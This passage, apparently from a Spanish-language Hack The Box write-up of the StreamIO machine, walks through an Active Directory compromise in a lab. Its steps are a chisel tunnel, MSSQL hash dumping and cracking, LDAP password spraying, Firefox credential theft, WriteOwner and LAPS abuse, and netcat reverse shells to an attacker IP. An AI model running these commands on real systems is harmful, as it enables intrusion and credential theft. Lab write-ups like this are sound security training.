  Hash:    yoshihide::streamIO:1122334455667788:fe107ad0aeb1122ebf4e07d13b65d144:0101000000000000528a3f153a91d80121fd1e3c30cb16ff000000000800300030000000000000000000000000210000acfa41554dd286a58a5647344d8ad1789a997ea0f3255355b364f4cbc1594b5d0a00100000000000000000000000000000000000090000000000000000000000

   =================================================================================================
[.. snip ..]

Chisel

El puerto de SQL Server está abierto localmente en la máquina, ejecutamos chisel para obtener el puerto 1433 localmente en kali. Iniciamos un servidor samba con impacket y realizamos la copia de chisel.

1
2
3
impacket-smbserver -username sc -password sc -smb2support -port 445 share .
net use Z: \\10.10.14.207\share /u:sc sc
copy z:\chisel17.exe .

Ejecutamos chisel en la máquina, especificando el servidor y puerto, y el puerto 1433 de sql server.

1
./chisel17.exe client 10.10.14.207:7070 R:1433:0.0.0.0:1433

Ejecutamos chisel como servidor en kali. Hay que mencionar que la ultima version (1.7.7 como servidor) no realizaba la conexión, por lo que tambien utilizamos la version 1.7.

1
2
3
4
5
6
 π ~/htb/streamio/www ❯ ./chisel server -p 7070 --reverse
2022/07/06 17:51:19 server: Reverse tunnelling enabled
2022/07/06 17:51:19 server: Fingerprint 7f:19:de:80:57:ab:9e:58:65:79:a0:22:85:5c:51:87
2022/07/06 17:51:19 server: Listening on http://0.0.0.0:7070
2022/07/06 17:51:52 server: session#1: Client version (1.7.7) differs from server version (1.7.0)
2022/07/06 17:51:52 server: session#1: tun: proxy#R:1433=>0.0.0.0:1433: Listening

Mssql

Tras verificar que el puerto está localmente, ejecutamos mssqlclient de impacket con las credenciales del usuario admin, observamos las mismas bases de datos que en la inyeccion sql.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
 π ~/htb/streamio/www ❯ impacket-mssqlclient db_admin:'B1@hx31234567890'@127.0.0.1
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(DC): Line 1: Changed database context to 'master'.
[*] INFO(DC): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server (150 7208)
[!] Press help for extra shell commands
SQL> select name from sys.databases
name

--------------------------------------------------------------------------------------------------------------------------------

master

tempdb

model

msdb

STREAMIO

streamio_backup
SQL>

Con este usuario logramos acceder a la base de datos streamio_backup, en esta encontramos nombres de usuarios y hashes de contraseñas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
SQL> select table_name from streamio_backup.information_schema.tables
table_name

--------------------------------------------------------------------------------------------------------------------------------

movies

users

SQL> use streamio_backup
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: streamio_backup
[*] INFO(DC): Line 1: Changed database context to 'streamio_backup'.
SQL> select * from users
         id   username                                             password

-----------   --------------------------------------------------   --------------------------------------------------

          1   nikk37                                               389d14cb8e4e9b94b137deb1caf0612a

          2   yoshihide                                            b779ba15cedfd22a023c4d8bcf5f2332

          3   James                                                c660060492d9edcaa8332d89c99c9239

          4   Theodore                                             925e5408ecb67aea449373d668b7359e

          5   Samantha                                             083ffae904143c4796e464dac33c1f7d

          6   Lauren                                               08344b85b329d7efd611b7a7743e8a09

          7   William                                              d62be0dc82071bccc1322d64ec5b6c51

          8   Sabrina                                              f87d3c0d6c8fd686aacc6627f1f493a5

SQL>

Online Password Hash Crack

Nuevamente crackstation y md5decrypt nos devolvieron en texto plano algunas de los ocho hashes, uno de estos diffiere del resto.

image
image

1
389d14cb8e4e9b94b137deb1caf0612a:get_dem_girls2@yahoo.com

Brute Force - LDAP

Realizamos brute force con las contraseñas y usuarios encontrados a ldap, encontramos una combinación para el usuario nikk37.

1
2
3
4
 π ~/htb/streamio/db ❯ crackmapexec ldap streamio.htb -u users.txt -p pass.txt
SMB         streamio.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
LDAP        streamio.htb    389    DC               [+] streamIO.htb\nikk37:get_dem_girls2@yahoo.com
 π ~/htb/streamio/db ❯

Bloodhound

Utilizamos bloodhound.py para obtener información del AD con las credenciales encontradas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π ~/htb/streamio/db ❯ /opt/BloodHound.py/bloodhound.py -u nikk37 -p "get_dem_girls2@yahoo.com" -d streamio.htb -ns 10.10.11.158 -c all --zip
INFO: Found AD domain: streamio.htb
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc.streamio.htb
INFO: Found 8 users
INFO: Connecting to GC LDAP server: dc.streamio.htb
INFO: Found 54 groups
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: DC.streamIO.htb
INFO: Done in 00M 13S
INFO: Compressing output into 20220706182038_bloodhound.zip
 π ~/htb/streamio/db ❯

Luego de importar el zip a bloodhound encontramos (query: ‘Shortes Path from Owned Principal’) que el usuario nikk37 puede crear una sesion de Powershell.
image

Shell

Bloodhound nos muestra los comandos necesarios para obtener una sesion, en este caso ejecutar comandos con Invoke-Command similar a Arkham - HTB. Como se observa logramos ejecutar whoami como nikk37.

1
2
3
4
5
6
PS C:\> $SecPassword = ConvertTo-SecureString 'get_dem_girls2@yahoo.com' -AsPlainText -Force; 
PS C:\> $Cred = New-Object System.Management.Automation.PSCredential('nikk37', $SecPassword);
PS C:\> $session = New-PSSession -ComputerName DC.STREAMIO.HTB -Credential $Cred;
PS C:\> Invoke-Command -Session $session -ScriptBlock { whoami  }
streamio\nikk37
PS C:\>

Ejecutamos una shell inversa utilizando netcat, este ultimo lo copiamos en la carpeta C:\intepub\temp.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
PS C:\inetpub\temp> dir


    Directory: C:\inetpub\temp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----         7/6/2022   9:30 PM                appPools
d-----        2/26/2022   1:03 AM                IIS Temporary Compressed Files
d-----         7/6/2022  10:57 PM                Microsoft
-a----         7/6/2022   9:49 PM        8230912 chisel17.exe
-a----         7/6/2022   3:54 PM          59392 nc.exe
-a----         7/2/2022  10:53 PM        1936384 win.exe

PS C:\inetpub\temp>

Ejecutamos la shell inversa nuevamente con Invoke-Command.

1
PS C:\> Invoke-Command -Session $session -ScriptBlock { C:\inetpub\temp\nc.exe -e powershell.exe 10.10.14.207 1339 }

Logrando obtener asi una shell como nikk37 y la flag user.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
 π ~/htb/streamio ❯ rlwrap nc -lvp 1339
listening on [any] 1339 ...
connect to [10.10.14.207] from streamio.htb [10.10.11.158] 61516
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\nikk37\Documents> whoami
streamio\nikk37
PS C:\Users\nikk37\Documents> cd ../Desktop
PS C:\Users\nikk37\Desktop> dir


    Directory: C:\Users\nikk37\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         7/6/2022   9:31 PM             34 user.txt


PS C:\Users\nikk37\Desktop> cat user.f
c0f221be01e87c098007517e57544ab5
PS C:\Users\nikk37\Desktop>

User - JDgodd

Si recordamos Firefox está instalado en la máquina, si revisamos APPDATA encontramos la carpeta Mozilla, dentro vemos dos perfiles.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PS C:\users\nikk37\documents> dir $env:APPDATA


    Directory: C:\Users\nikk37\AppData\Roaming


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d---s-         7/6/2022  11:10 PM                Microsoft
d-----        2/22/2022   2:40 AM                Mozilla


PS C:\users\nikk37\documents> dir $env:APPDATA/Mozilla/Firefox/Profiles


    Directory: C:\Users\nikk37\AppData\Roaming\Mozilla\Firefox\Profiles


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        2/22/2022   2:40 AM                5rwivk2l.default
d-----        2/22/2022   2:42 AM                br53rxeg.default-release


PS C:\users\nikk37\documents>

Firefox Decrypt

Copiamos los archivos: cert9.db, cookies.sqlite, key4.db y login.json (ref. 1), ejecutamos Firefox Decrypt en la carpeta, se listan usuarios y contraseñas.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
 π ~/htb/streamio/firefox ❯ /opt/firefox_decrypt/firefox_decrypt.py .
2022-07-06 21:07:23,444 - WARNING - profile.ini not found in .
2022-07-06 21:07:23,445 - WARNING - Continuing and assuming '.' is a profile location

Website:   https://slack.streamio.htb
Username: 'admin'
Password: 'JDg0dd1s@d0p3cr3@t0r'

Website:   https://slack.streamio.htb
Username: 'nikk37'
Password: 'n1kk1sd0p3t00:)'

Website:   https://slack.streamio.htb
Username: 'yoshihide'
Password: 'paddpadd@12'

Website:   https://slack.streamio.htb
Username: 'JDgodd'
Password: 'password@12'
 π ~/htb/streamio/www/firefox ❯

Crackmapexec - LDAP

Tras ejecutar crackmapexec en ldap, encontramos al usuario JDgodd con una combinación válida.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
 π ~/htb/streamio/firefox ❯ crackmapexec ldap streamio.htb -u users.txt -p pass.txt
SMB         streamio.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
SMB         streamio.htb    445    DC               [-] streamIO.htb\admin:JDg0dd1s@d0p3cr3@t0r
SMB         streamio.htb    445    DC               [-] streamIO.htb\admin:n1kk1sd0p3t00:)
SMB         streamio.htb    445    DC               [-] streamIO.htb\admin:paddpadd@12
SMB         streamio.htb    445    DC               [-] streamIO.htb\admin:password@12
SMB         streamio.htb    445    DC               [-] streamIO.htb\nikk37:JDg0dd1s@d0p3cr3@t0r
SMB         streamio.htb    445    DC               [-] streamIO.htb\nikk37:n1kk1sd0p3t00:)
SMB         streamio.htb    445    DC               [-] streamIO.htb\nikk37:paddpadd@12
SMB         streamio.htb    445    DC               [-] streamIO.htb\nikk37:password@12
SMB         streamio.htb    445    DC               [-] streamIO.htb\yoshihide:JDg0dd1s@d0p3cr3@t0r
SMB         streamio.htb    445    DC               [-] streamIO.htb\yoshihide:n1kk1sd0p3t00:)
SMB         streamio.htb    445    DC               [-] streamIO.htb\yoshihide:paddpadd@12
SMB         streamio.htb    445    DC               [-] streamIO.htb\yoshihide:password@12
LDAP        streamio.htb    389    DC               [+] streamIO.htb\JDgodd:JDg0dd1s@d0p3cr3@t0r
 π ~/htb/streamio/firefox ❯

Privesc

Bloodhound nos muestra (query: ‘Shortes Path from Owned Principal’) que JDgodd tiene WriteOwner sobre el grupo Core Staff, este ultimo puede leer las contraseñas en LAPS de DC.STREAMIO.HTB.

image

Write Owner

Para explotar o abusar de “Write Owner” necesitamos PowerView, Bloodhound provee la información y comandos necesarios (ver Abuse Info) aunque tambien nos referimos al post de WriteOwner Exploit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
# cred
$SecPassword = ConvertTo-SecureString 'JDg0dd1s@d0p3cr3@t0r' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('JDgodd', $SecPassword)
# set Jdgodd as owner of 'core staff'
Set-DomainObjectOwner -Credential $Cred  -identity "CORE STAFF" -OwnerIdentity JDgodd 
# give jdgodd permissions 
Add-DomainObjectAcl -Credential $Cred -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd
# add to group
Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $Cred
# verify if group has jdgodd
Get-DomainGroupMember -Identity 'CORE STAFF'

Tras ejecutar los comandos vemos que JDgodd es miembro del grupo Core Staff.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
PS C:\Users\nikk37\Documents> cat -raw power.ps1 | iex
PS C:\Users\nikk37\Documents> Set-DomainObjectOwner -Credential $Cred  -identity "CORE STAFF" -OwnerIdentity JDgodd
PS C:\Users\nikk37\Documents> Add-DomainObjectAcl -Credential $Cred -TargetIdentity "CORE STAFF" -PrincipalIdentity JDgodd
PS C:\Users\nikk37\Documents> Add-DomainGroupMember -Identity 'CORE STAFF' -Members 'JDgodd' -Credential $Cred
PS C:\Users\nikk37\Documents> Get-DomainGroupMember -Identity 'CORE STAFF'


GroupDomain             : streamIO.htb
GroupName               : CORE STAFF
GroupDistinguishedName  : CN=CORE STAFF,CN=Users,DC=streamIO,DC=htb
MemberDomain            : streamIO.htb
MemberName              : JDgodd
MemberDistinguishedName : CN=JDgodd,CN=Users,DC=streamIO,DC=htb
MemberObjectClass       : user
MemberSID               : S-1-5-21-1470860369-1569627196-4264678630-1104




PS C:\Users\nikk37\Documents>

ReadLAPSPassword

Como sabemos el grupo ‘Core Staff’ puede leer la contraseña de LAPS, ejecutamos Get-DomainObject como lo muestra Bloodhound para obtener las contraseñas de LAPS.

1
2
3
4
5
6
7
8
PS C:\Users\nikk37\Documents> Get-DomainObject DC.STREAMIO.HTB -Credential $Cred -Properties "ms-mcs-AdmPwd",name

name ms-mcs-admpwd
---- -------------
DC   035.1PDHS6dx99


PS C:\Users\nikk37\Documents>

Observamos que la contraseña es del administrador.

1
2
3
4
 π ~/htb/streamio ❯ crackmapexec ldap streamio.htb -u administrator -p '035.1PDHS6dx99'
SMB         streamio.htb    445    DC               [*] Windows 10.0 Build 17763 x64 (name:DC) (domain:streamIO.htb) (signing:True) (SMBv1:False)
LDAP        streamio.htb    389    DC               [+] streamIO.htb\administrator:035.1PDHS6dx99 (Pwn3d!)
 π ~/htb/streamio ❯

Shell

Utilizando una sesion de powershell igual que con nikk37, logramos ejecutar comandos como administrador.

1
2
3
4
5
6
PS C:\Users\nikk37\Documents> $SecPassword = ConvertTo-SecureString '035.1PDHS6dx99' -AsPlainText -Force
PS C:\Users\nikk37\Documents> $Cred = New-Object System.Management.Automation.PSCredential('administrator', $SecPassword)
PS C:\Users\nikk37\Documents> $session = New-PSSession -ComputerName DC.STREAMIO.HTB -Credential $Cred
PS C:\Users\nikk37\Documents> Invoke-Command -Session $session -ScriptBlock { whoami }
streamio\administrator
PS C:\Users\nikk37\Documents>

Ejecutamos una shell inversa con netcat.

1
Invoke-Command -Session $session -ScriptBlock { C:\inetpub\temp\nc.exe -e powershell.exe 10.10.14.207 1337 }

Logramos obtener una shell como administrador.

1
2
3
4
5
6
7
8
9
 π ~/htb/streamio ❯ rlwrap nc -lvp 1337
listening on [any] 1337 ...
connect to [10.10.14.207] from streamio.htb [10.10.11.158] 62454
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Users\Administrator\Documents> whoami
streamio\administrator
PS C:\Users\Administrator\Documents>

Finalmente nuestra flag root.txt en el directorio de Martin.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
PS C:\Users\Martin\Desktop> dir


    Directory: C:\Users\Martin\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---         7/6/2022   9:31 PM             34 root.txt


PS C:\Users\Martin\Desktop> cat root.txt
f5c12460bc33499475b6499e13b020da
PS C:\Users\Martin\Desktop>
Share on

Dany Sucuc
WRITTEN BY
sckull
RedTeamer & Pentester wannabe